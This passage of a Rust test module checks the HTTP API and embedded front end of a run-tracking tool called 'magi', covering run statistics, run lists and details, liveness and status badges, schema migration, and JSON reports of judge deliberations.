16807 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
16808 assert_eq!(stats.status, 200);
16809 assert_eq!(stats.json()["totals"]["runs"], 1);
16810 assert_eq!(stats.json()["totals"]["merged"], 1);
16811 assert_eq!(stats.json()["repo"], "/repos/a");
16812 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
16815 assert_eq!(stats.json()["runs_unreadable"], 0);
16818 }
16819
16820 #[tokio::test]
16821 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
16822 let f = Fixture::start().await;
16823 write_run_repo(
16824 &f.runs(),
16825 "20260902-140501-a",
16826 RunStatus::Merged,
16827 "/repos/a",
16828 );
16829 write_run_repo(
16830 &f.runs(),
16831 "20260902-140502-b",
16832 RunStatus::Merged,
16833 "/repos/b",
16834 );
16835
16836 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
16837 let json = f.get(uri).await.json();
16838 let daily = json["daily"].as_array().expect("daily is an array");
16839 assert_eq!(daily.len(), 30);
16840 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
16841 let mut sorted = dates.clone();
16842 sorted.sort();
16843 assert_eq!(dates, sorted);
16844 for d in daily {
16845 assert_eq!(
16846 d["merged"].as_u64().unwrap()
16847 + d["ready"].as_u64().unwrap()
16848 + d["other"].as_u64().unwrap(),
16849 d["runs"].as_u64().unwrap()
16850 );
16851 }
16852 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
16853 }
16854 }
16855
16856 #[tokio::test]
16857 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
16858 let f = Fixture::start().await;
16859 write_run_repo(
16860 &f.runs(),
16861 "20260902-140501-a",
16862 RunStatus::Merged,
16863 "/repos/a",
16864 );
16865
16866 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
16867 assert_eq!(stats.status, 404);
16868 }
16869
16870 #[tokio::test]
16871 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
16872 let f = Fixture::start().await;
16873 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
16874
16875 let summary = f.get("/api/runs").await.json();
16876 let row = &summary[0];
16877 assert_eq!(row["short"], "a1b2");
16878 assert_eq!(row["status"], "ready");
16879 assert_eq!(row["done"], true);
16880 assert_eq!(row["title"], "Add a web UI");
16881 assert_eq!(row["repo_name"], "magi");
16882 assert_eq!(row["judges"], 3);
16883 assert_eq!(row["winner"], Value::Null);
16884 assert_eq!(row["reviews"], 0);
16885
16886 let detail = f.get("/api/runs/a1b2").await;
16889 assert_eq!(detail.status, 200);
16890 assert_eq!(detail.json()["base_branch"], "main");
16891 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
16892 }
16893
16894 #[tokio::test]
16902 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
16903 let f = Fixture::start().await;
16904
16905 let mut none_run = RunState::new(
16906 PathBuf::from("/repo/magi"),
16907 "main".to_owned(),
16908 "0123456789abcdef".to_owned(),
16909 "Add a web UI".to_owned(),
16910 Config::default(),
16911 );
16912 none_run.id = "20260902-140503-none".to_owned();
16913 none_run.status = RunStatus::Ready;
16914 none_run.merge = Some(crate::run::MergeOutcome {
16915 mode: crate::config::MergeMode::None,
16916 ok: true,
16917 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
16918 empty: false,
16919 });
16920 write_state(&f.runs(), &none_run);
16921
16922 let mut pr_run = RunState::new(
16923 PathBuf::from("/repo/magi"),
16924 "main".to_owned(),
16925 "0123456789abcdef".to_owned(),
16926 "Add a web UI".to_owned(),
16927 Config::default(),
16928 );
16929 pr_run.id = "20260902-140504-prcl".to_owned();
16930 pr_run.status = RunStatus::Ready;
16931 pr_run.merge = Some(crate::run::MergeOutcome {
16932 mode: crate::config::MergeMode::Pr,
16933 ok: false,
16934 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
16935 empty: false,
16936 });
16937 write_state(&f.runs(), &pr_run);
16938
16939 let summary = f.get("/api/runs").await.json();
16940 let rows: std::collections::HashMap<&str, &Value> = summary
16941 .as_array()
16942 .expect("an array")
16943 .iter()
16944 .map(|r| (r["id"].as_str().expect("an id"), r))
16945 .collect();
16946 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
16947 assert_eq!(
16948 rows[none_run.id.as_str()]["unmerged_by_design"],
16949 true,
16950 "a mode-none Ready must be flagged in the list"
16951 );
16952 assert_eq!(
16953 rows[pr_run.id.as_str()]["unmerged_by_design"],
16954 false,
16955 "a Ready reached by a closed pull request is a different case"
16956 );
16957
16958 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
16959 assert_eq!(none_detail["status"], "ready");
16960 assert_eq!(none_detail["unmerged_by_design"], true);
16961
16962 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
16963 assert_eq!(pr_detail["unmerged_by_design"], false);
16964 }
16965
16966 #[tokio::test]
16971 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
16972 let f = Fixture::start().await;
16973 let id = "20260902-140502-bbbb";
16977 let mut state = RunState::new(
16978 PathBuf::from("/repo/magi"),
16979 "main".to_owned(),
16980 "0123456789abcdef".to_owned(),
16981 "Add a web UI".to_owned(),
16982 Config::default(),
16983 );
16984 state.id = id.to_owned();
16985 state.status = RunStatus::Judging;
16986 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
16987 let dir = f.runs().join(id);
16988 std::fs::create_dir_all(&dir).expect("run dir");
16989 std::fs::write(
16990 dir.join("run.json"),
16991 serde_json::to_string_pretty(&state).expect("serialize run"),
16992 )
16993 .expect("write run.json");
16994
16995 let cold = f.get(&format!("/api/runs/{id}")).await.json();
17001 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
17002 assert_eq!(cold["live"], "unknown", "{cold}");
17003
17004 write_daemon(f.home.path(), Timestamp::now());
17007 let warm = f.get(&format!("/api/runs/{id}")).await.json();
17008 assert_eq!(warm["live"], "live", "{warm}");
17009 }
17010
17011 #[test]
17012 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
17013 let home = tempfile::tempdir().expect("temp home");
17014 let runs = home.path().join("runs");
17015 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
17016 let mut state = RunState::new(
17017 PathBuf::from("/repo/magi"),
17018 "main".to_owned(),
17019 "0123456789abcdef".to_owned(),
17020 "Generated review context, not authored task criteria".to_owned(),
17021 Config::default(),
17022 );
17023 state.origin = origin;
17024 state.status = RunStatus::Blocked;
17025 state.driver_exited = false;
17027 state.gate_ran = true;
17028 let expected = serde_json::to_value(&state).expect("serialize current state");
17029 let mut legacy = expected.clone();
17030 legacy["schema"] = serde_json::json!(13);
17031 legacy.as_object_mut().unwrap().remove("task_instruction");
17032 let dir = runs.join(&state.id);
17033 std::fs::create_dir_all(&dir).expect("run dir");
17034 let path = dir.join("run.json");
17035 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
17036 std::fs::write(&path, &body).expect("write legacy run");
17037
17038 for loaded in [
17039 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
17040 read_run(&runs, &state.id).expect("web migration"),
17041 ] {
17042 assert_eq!(loaded.schema, crate::run::SCHEMA);
17043 assert!(loaded.task_instruction.is_none());
17044 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
17045 }
17046 assert_eq!(runs_unreadable(&runs), 0);
17047 assert_eq!(std::fs::read(&path).unwrap(), body);
17048 }
17049 }
17050
17051 #[tokio::test]
17054 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
17055 let f = Fixture::start().await;
17056 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
17057 let mut state = RunState::new(
17058 PathBuf::from("/repo/magi"),
17059 "main".to_owned(),
17060 "0123456789abcdef".to_owned(),
17061 "Add a web UI".to_owned(),
17062 Config::default(),
17063 );
17064 state.id = id.to_owned();
17065 state.origin = origin;
17066 let mut value = serde_json::to_value(&state).expect("serialize run");
17067 if let Some(schema) = schema {
17068 value["schema"] = serde_json::json!(schema);
17069 value.as_object_mut().unwrap().remove("origin");
17070 }
17071 let dir = f.runs().join(id);
17072 std::fs::create_dir_all(&dir).expect("run dir");
17073 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
17074 };
17075 write(
17076 "20260930-092817-ec34",
17077 Some(crate::run::Origin::from_agent_env(
17078 Some(("4a7b".to_owned(), "chat".to_owned())),
17079 None,
17080 )),
17081 None,
17082 );
17083 write("20260930-092817-0ld1", None, Some(12));
17084
17085 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
17086 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
17087 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
17088
17089 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
17090 assert_eq!(
17091 old["origin_label"], "origin unknown (started before origins were recorded)",
17092 "{old}"
17093 );
17094 assert!(old["origin"].is_null(), "{old}");
17095
17096 let list = f.get("/api/runs").await.json();
17097 let labels: Vec<_> = list
17098 .as_array()
17099 .unwrap()
17100 .iter()
17101 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
17102 .collect();
17103 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
17104 }
17105
17106 #[tokio::test]
17113 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
17114 let f = Fixture::start().await;
17115 let id = "20260922-090000-cccc";
17116 let mut state = RunState::new(
17117 PathBuf::from("/repo/magi"),
17118 "main".to_owned(),
17119 "0123456789abcdef".to_owned(),
17120 "Review only".to_owned(),
17121 Config::default(),
17122 );
17123 state.id = id.to_owned();
17124 state.status = RunStatus::Reviewing;
17125 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17126 state.driver_pid = Some(std::process::id());
17132 state.driver_started_at = Some(
17133 crate::proc::process_started_at(std::process::id())
17134 .expect("this test process's own start time must be queryable"),
17135 );
17136 let dir = f.runs().join(id);
17137 std::fs::create_dir_all(&dir).expect("run dir");
17138 std::fs::write(
17139 dir.join("run.json"),
17140 serde_json::to_string_pretty(&state).expect("serialize run"),
17141 )
17142 .expect("write run.json");
17143
17144 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17145 assert_eq!(detail["live"], "live", "{detail}");
17146 }
17147
17148 #[tokio::test]
17154 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
17155 let f = Fixture::start().await;
17156 let id = "20260922-090100-dddd";
17157 let mut state = RunState::new(
17158 PathBuf::from("/repo/magi"),
17159 "main".to_owned(),
17160 "0123456789abcdef".to_owned(),
17161 "Review only".to_owned(),
17162 Config::default(),
17163 );
17164 state.id = id.to_owned();
17165 state.status = RunStatus::Reviewing;
17166 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17167 state.driver_pid = Some(std::process::id());
17172 state.driver_started_at = Some("1".to_owned());
17173 let dir = f.runs().join(id);
17174 std::fs::create_dir_all(&dir).expect("run dir");
17175 std::fs::write(
17176 dir.join("run.json"),
17177 serde_json::to_string_pretty(&state).expect("serialize run"),
17178 )
17179 .expect("write run.json");
17180
17181 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17182 assert_eq!(detail["live"], "dead", "{detail}");
17183 }
17184
17185 #[test]
17189 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
17190 let mk = |id: &str, pid: Option<u32>| {
17191 let mut s = RunState::new(
17192 PathBuf::from("/repo/magi"),
17193 "main".to_owned(),
17194 "0123456789abcdef".to_owned(),
17195 "Add a web UI".to_owned(),
17196 Config::default(),
17197 );
17198 s.id = id.to_owned();
17199 s.driver_pid = pid;
17200 s.driver_started_at = Some("1790000000".to_owned());
17201 s
17202 };
17203 let states = vec![
17204 mk("20260902-140502-aaaa", Some(77)),
17205 mk("20260902-140502-bbbb", Some(77)),
17206 mk("20260902-140502-cccc", Some(77)),
17207 mk("20260902-140502-dddd", None),
17208 ];
17209 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
17210 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
17211 let sup: HashMap<String, String> = [(
17212 "20260902-140502-aaaa".to_owned(),
17213 "20260902-140502-cccc".to_owned(),
17214 )]
17215 .into();
17216
17217 let status_calls = std::cell::Cell::new(0);
17218 let identity_calls = std::cell::Cell::new(0);
17219 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
17220 |_| {
17221 status_calls.set(status_calls.get() + 1);
17222 Some(true)
17223 },
17224 |_| {
17225 identity_calls.set(identity_calls.get() + 1);
17226 Some("1790000000".to_owned())
17227 },
17228 ));
17229 let rows = summarize(
17230 states,
17231 &open,
17232 &claimed,
17233 &sup,
17234 |p| probe.borrow_mut().status(p),
17235 |p| probe.borrow_mut().started_at(p),
17236 );
17237
17238 assert_eq!(status_calls.get(), 1, "one pid, one status query");
17239 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
17240 assert_eq!(rows.len(), 4);
17241 assert!(!rows[0].waiting && rows[1].waiting);
17242 assert_eq!(rows[0].live, crate::run::Liveness::Live);
17243 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17244 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17245 assert_eq!(rows[1].superseded_by, None);
17246 }
17247
17248 #[test]
17249 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17250 let mut state = RunState::new(
17251 PathBuf::from("/repo/magi"),
17252 "main".to_owned(),
17253 "0123456789abcdef".to_owned(),
17254 "Review only".to_owned(),
17255 Config::default(),
17256 );
17257 state.id = "20260922-090200-dead".to_owned();
17258 state.status = RunStatus::Reviewing;
17259 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17260 .expect("serialize list row");
17261 assert_eq!(row["status"], "reviewing");
17262 assert_eq!(row["display_status"], "stale");
17263 assert_eq!(row["live"], "dead", "{row}");
17264 assert!(!row["done"].as_bool().unwrap());
17265 }
17266
17267 #[test]
17268 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17269 use crate::run::Liveness::{Dead, Live, Unknown};
17270 let mut state = RunState::new(
17271 PathBuf::from("/repo/magi"),
17272 "main".to_owned(),
17273 "abc".to_owned(),
17274 "Review only".to_owned(),
17275 Config::default(),
17276 );
17277 for (status, parked, node, waiting, live, expected) in [
17278 (
17279 RunStatus::Judging,
17280 true,
17281 "github-text",
17282 false,
17283 Dead,
17284 "parked",
17285 ),
17286 (RunStatus::Judging, false, "park", false, Dead, "stale"),
17287 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17288 (
17289 RunStatus::Judging,
17290 true,
17291 "github-text",
17292 true,
17293 Dead,
17294 "waiting",
17295 ),
17296 (
17297 RunStatus::Judging,
17298 false,
17299 "github-text",
17300 true,
17301 Dead,
17302 "waiting",
17303 ),
17304 (
17305 RunStatus::Judging,
17306 false,
17307 "github-text",
17308 false,
17309 Dead,
17310 "stale",
17311 ),
17312 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17313 (RunStatus::Judging, true, "park", false, Live, "judging"),
17314 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17315 (RunStatus::Merged, true, "park", false, Dead, "merged"),
17316 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17317 (
17318 RunStatus::Blocked,
17319 true,
17320 "github-text",
17321 true,
17322 Dead,
17323 "waiting",
17324 ),
17325 ] {
17326 state.status = status;
17327 state.parked = parked;
17328 state.events.clear();
17329 state.event(
17330 "park",
17331 "an earlier park does not determine the latest state",
17332 );
17333 state.event(node, "message is not used for classification");
17334 let summary = RunSummary::of(&state, waiting, live);
17335 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17336 assert_eq!(
17337 summary.display_status, expected,
17338 "{status:?}/{node}/{live:?}"
17339 );
17340 assert_eq!(detail.display_status, summary.display_status);
17341 assert_eq!(detail.waiting, summary.waiting);
17342 }
17343 state.status = RunStatus::Judging;
17344 state.parked = false;
17345 state.events.clear();
17346 assert_eq!(run_display_status(&state, false, Dead), "stale");
17347 }
17348
17349 #[test]
17350 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17351 use crate::run::Liveness::{Dead, Live, Unknown};
17352 let mut state = RunState::new(
17353 PathBuf::from("/repo/magi"),
17354 "main".to_owned(),
17355 "abc".to_owned(),
17356 "Badge".to_owned(),
17357 Config::default(),
17358 );
17359 for (status, waiting, live, superseded, expected) in [
17360 (RunStatus::Gating, false, Dead, false, "stale"),
17361 (RunStatus::Gating, false, Dead, true, "superseded"),
17362 (RunStatus::Gating, false, Unknown, true, "superseded"),
17363 (RunStatus::Gating, true, Dead, true, "superseded"),
17364 (RunStatus::Gating, true, Dead, false, "waiting"),
17365 (RunStatus::Gating, false, Unknown, false, "gating"),
17366 (RunStatus::Gating, false, Live, true, "gating"),
17367 (RunStatus::Gating, true, Live, true, "waiting"),
17368 (RunStatus::Merged, false, Dead, true, "merged"),
17369 (RunStatus::Blocked, false, Dead, true, "blocked"),
17370 ] {
17371 state.status = status;
17372 let display = run_display_status(&state, waiting, live);
17373 assert_eq!(
17374 run_badge_status(&state, &display, live, superseded),
17375 expected,
17376 "{status:?}/{live:?}/superseded={superseded}"
17377 );
17378 }
17379 }
17380
17381 #[test]
17382 fn summarize_and_detail_expose_badge_status() {
17383 use crate::run::Liveness::Dead;
17384 let mut state = RunState::new(
17385 PathBuf::from("/repo/magi"),
17386 "main".to_owned(),
17387 "abc".to_owned(),
17388 "Badge".to_owned(),
17389 Config::default(),
17390 );
17391 state.status = RunStatus::Gating;
17392 let none = HashSet::new();
17393 let id = state.id.clone();
17394 let mut by = HashMap::new();
17395 let rows = summarize(
17396 [state.clone()],
17397 &none,
17398 &none,
17399 &by,
17400 |_| Some(false),
17401 |_| None,
17402 );
17403 assert_eq!(rows[0].badge_status, rows[0].display_status);
17405 by.insert(id, "20260901-000000-913b".to_owned());
17406 let detail = RunDetailView::of(
17407 state.clone(),
17408 false,
17409 Dead,
17410 Some("913b".to_owned()),
17411 None,
17412 None,
17413 );
17414 assert_eq!(detail.badge_status, "superseded");
17415 let json = serde_json::to_value(&detail).unwrap();
17416 assert_eq!(json["badge_status"], "superseded");
17417 let detail = RunDetailView::of(state, false, Dead, None, None, None);
17418 assert_eq!(detail.badge_status, "stale");
17419 }
17420
17421 #[tokio::test]
17422 async fn run_display_status_routes_share_the_open_question_store() {
17423 let f = Fixture::start().await;
17424 let id = "20260922-090200-abcd";
17425 write_run(&f.runs(), id, RunStatus::Judging);
17426 let mut state = read_run(&f.runs(), id).unwrap();
17427 state.parked = true;
17428 state.driver_exited = true;
17429 state.event("github-text", "waiting for the owner");
17430 state.save_under(f.home.path()).unwrap();
17431 let mut task = Task::new(
17432 "resumed task".to_owned(),
17433 "do it".to_owned(),
17434 PathBuf::from("/repo"),
17435 Source::Human,
17436 );
17437 task.runs = vec![id.to_owned(), id.to_owned()];
17438 f.queue().put(&mut task).unwrap();
17439 let store = f.questions();
17440 let mut q = Question::new(
17441 id.to_owned(),
17442 "github-text".to_owned(),
17443 "owner".to_owned(),
17444 "Approve the text?".to_owned(),
17445 String::new(),
17446 Vec::new(),
17447 );
17448 store.put(&mut q).unwrap();
17449 for expected in ["waiting", "parked"] {
17450 let list = f.get("/api/runs").await.json();
17451 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17452 assert_eq!(list[0]["display_status"], expected);
17453 assert_eq!(detail["display_status"], expected);
17454 assert_eq!(detail["waiting"], list[0]["waiting"]);
17455 assert_eq!(list[0]["badge_status"], expected);
17456 assert_eq!(detail["badge_status"], expected);
17457 assert!(list[0]["superseded_by"].is_null());
17458 assert!(detail["superseded_by"].is_null());
17459 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
17460 let history = task_detail["history"].as_array().unwrap();
17461 assert_eq!(history.len(), 2);
17462 assert!(history[0]["badge"].is_null());
17463 assert_eq!(history[1]["badge"], expected);
17464 q.status = ask::QuestionStatus::Answered;
17465 store.put(&mut q).unwrap();
17466 }
17467 }
17468
17469 #[tokio::test]
17470 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
17471 let f = Fixture::start().await;
17472 let id = "20260922-090200-abcd";
17473 write_run(&f.runs(), id, RunStatus::Judging);
17474 let mut state = read_run(&f.runs(), id).unwrap();
17475 state.parked = true;
17476 state.driver_exited = true;
17477 state.event("park", "stopped at a node boundary");
17478 state.save_under(f.home.path()).unwrap();
17479
17480 for expected in ["parked", "stale"] {
17481 let list = f.get("/api/runs").await.json();
17482 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17483 assert_eq!(list[0]["live"], "dead");
17484 assert_eq!(list[0]["display_status"], expected);
17485 assert_eq!(detail["display_status"], expected);
17486 state.parked = false;
17489 state.save_under(f.home.path()).unwrap();
17490 }
17491 }
17492
17493 #[tokio::test]
17494 async fn the_run_list_is_newest_first_and_honours_a_limit() {
17495 let f = Fixture::start().await;
17496 for id in [
17497 "20260902-140501-aaaa",
17498 "20260902-140502-bbbb",
17499 "20260902-140503-cccc",
17500 ] {
17501 write_run(&f.runs(), id, RunStatus::Merged);
17502 }
17503
17504 let all = f.get("/api/runs").await.json();
17505 let capped = f.get("/api/runs?limit=2").await.json();
17506
17507 assert_eq!(all[0]["id"], "20260902-140503-cccc");
17508 assert_eq!(all.as_array().map(Vec::len), Some(3));
17509 assert_eq!(capped.as_array().map(Vec::len), Some(2));
17510 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
17511 }
17512
17513 #[tokio::test]
17514 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
17515 let f = Fixture::start().await;
17516 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
17517
17518 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
17519
17520 assert_eq!(res.status, 200);
17521 assert!(
17522 res.headers
17523 .contains("content-type: text/plain; charset=utf-8"),
17524 "a browser must render it, not download it: {}",
17525 res.headers
17526 );
17527 assert!(
17531 res.body.contains("20260902-140501-a1b2"),
17532 "the report is about the run that was asked for: {}",
17533 res.body
17534 );
17535 }
17536
17537 #[tokio::test]
17538 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
17539 crate::run::pin_test_home();
17541 let f = Fixture::start().await;
17542 let id = "20260902-140501-a1b2";
17543 write_run(&f.runs(), id, RunStatus::Stalled);
17544 let path = f.runs().join(id).join("run.json");
17547 let mut v: serde_json::Value =
17548 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17549 v["tally"] = serde_json::json!({
17550 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17551 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
17552 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
17553 "met_quorum": false, "rankings": 1
17554 });
17555 v["reviews"] = serde_json::json!([{
17556 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
17557 "e2e_deferred": true,
17558 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
17559 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
17560 ]}]
17561 }]);
17562 std::fs::write(&path, v.to_string()).unwrap();
17563 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
17564 std::fs::write(
17565 f.runs().join("20260902-140502-dead").join("run.json"),
17566 "{not json",
17567 )
17568 .unwrap();
17569
17570 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17571
17572 assert_eq!(res.status, 200, "{}", res.body);
17573 assert!(res.headers.contains("content-type: application/json"));
17574 let j = res.json();
17575 assert_eq!(j["schema"], 1);
17576 assert_eq!(j["header"]["id"], id);
17577 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
17578 let kinds: Vec<&str> = j["sections"]
17579 .as_array()
17580 .unwrap()
17581 .iter()
17582 .map(|s| s["kind"].as_str().unwrap())
17583 .collect();
17584 assert_eq!(kinds, ["candidates", "tally", "review"]);
17585 let tally = &j["sections"][1]["tally"];
17586 assert_eq!(
17587 (tally["decided"].clone(), tally["provisional"].clone()),
17588 (false.into(), true.into())
17589 );
17590 let round = &j["sections"][2]["rounds"][0];
17591 assert_eq!(round["e2e"]["state"], "deferred");
17592 assert_eq!(round["findings"][0]["severity"], "major");
17593 assert_eq!(round["findings"][0]["blocking"], true);
17594 assert_eq!(round["findings"][0]["state"], "open");
17595
17596 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
17598
17599 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
17601 assert_ne!(bad.status, 200, "{}", bad.body);
17602 assert_eq!(
17603 bad.status,
17604 f.get("/api/runs/20260902-140502-dead/report").await.status
17605 );
17606 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
17607 assert_eq!(
17608 f.get("/api/runs/20260902-999999-ffff/report.json")
17609 .await
17610 .status,
17611 404
17612 );
17613 }
17614
17615 #[tokio::test]
17616 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
17617 crate::run::pin_test_home();
17618 let f = Fixture::start().await;
17619 let id = "20260902-140503-delib";
17620 write_run(&f.runs(), id, RunStatus::Merged);
17621 let path = f.runs().join(id).join("run.json");
17622 let mut v: serde_json::Value =
17623 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17624 v["judgements"] = serde_json::json!([
17625 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17626 ]);
17627 v["tally"] = serde_json::json!({
17628 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17629 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
17630 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
17631 "met_quorum": true, "rankings": 1
17632 });
17633 v["deliberation"] = serde_json::json!([
17634 {
17635 "round": 1,
17636 "turns": [
17637 {
17638 "judge": 1,
17639 "agent": "judge-1",
17640 "body": "I prefer candidate **A** because it has cleaner tests.",
17641 "tentative": "A"
17642 }
17643 ]
17644 },
17645 {
17646 "round": 2,
17647 "turns": [
17648 {
17649 "judge": 1,
17650 "agent": "judge-1",
17651 "body": "Still thinking, no choice yet.",
17652 "tentative": null
17653 }
17654 ]
17655 }
17656 ]);
17657 std::fs::write(&path, v.to_string()).unwrap();
17658
17659 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17660 assert_eq!(res.status, 200, "{}", res.body);
17661 let j = res.json();
17662 let judging = j["sections"]
17663 .as_array()
17664 .unwrap()
17665 .iter()
17666 .find(|s| s["kind"] == "judging")
17667 .expect("judging section exists");
17668
17669 let delib_lines = judging["deliberation"].as_array().unwrap();
17671 assert_eq!(delib_lines.len(), 2);
17672 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
17673 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
17674
17675 let rounds = judging["rounds"].as_array().unwrap();
17677 assert_eq!(rounds.len(), 2);
17678 let r1_t0 = &rounds[0]["turns"][0];
17679 assert_eq!(r1_t0["judge"], 1);
17680 assert_eq!(r1_t0["agent"], "judge-1");
17681 assert_eq!(r1_t0["tentative"], "A");
17682 assert_eq!(
17683 r1_t0["body"],
17684 "I prefer candidate **A** because it has cleaner tests."
17685 );
17686 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
17687
17688 let r2_t0 = &rounds[1]["turns"][0];
17689 assert_eq!(r2_t0["judge"], 1);
17690 assert_eq!(r2_t0["agent"], "judge-1");
17691 assert!(r2_t0["tentative"].is_null());
17692 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
17693 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
17694
17695 let id_empty = "20260902-140504-nodelib";
17697 write_run(&f.runs(), id_empty, RunStatus::Merged);
17698 let path_empty = f.runs().join(id_empty).join("run.json");
17699 let mut v_empty: serde_json::Value =
17700 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
17701 v_empty["judgements"] = serde_json::json!([
17702 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17703 ]);
17704 v_empty["deliberation"] = serde_json::json!([]);
17705 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
17706
17707 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
17708 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
17709 let j_empty = res_empty.json();
17710 let judging_empty = j_empty["sections"]
17711 .as_array()
17712 .unwrap()
17713 .iter()
17714 .find(|s| s["kind"] == "judging")
17715 .expect("judging section exists");
17716 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
17717 }
17718
17719 #[tokio::test]
17720 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
17721 let f = Fixture::start().await;
17722
17723 let html = f.get("/").await;
17724 let css = f.get("/app.css").await;
17725 let js = f.get("/app.js").await;
17726
17727 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
17728 assert!(
17729 html.headers
17730 .contains("content-type: text/html; charset=utf-8")
17731 );
17732 assert!(css.headers.contains("content-type: text/css"));
17733 assert!(js.headers.contains("content-type: text/javascript"));
17734 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
17735 }
17736
17737 #[test]
17738 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
17739 let body = |name: &str| {
17740 let at = APP_JS
17741 .find(name)
17742 .unwrap_or_else(|| panic!("{name} missing"));
17743 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17744 };
17745 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
17746 let note = body("function landRoundNote");
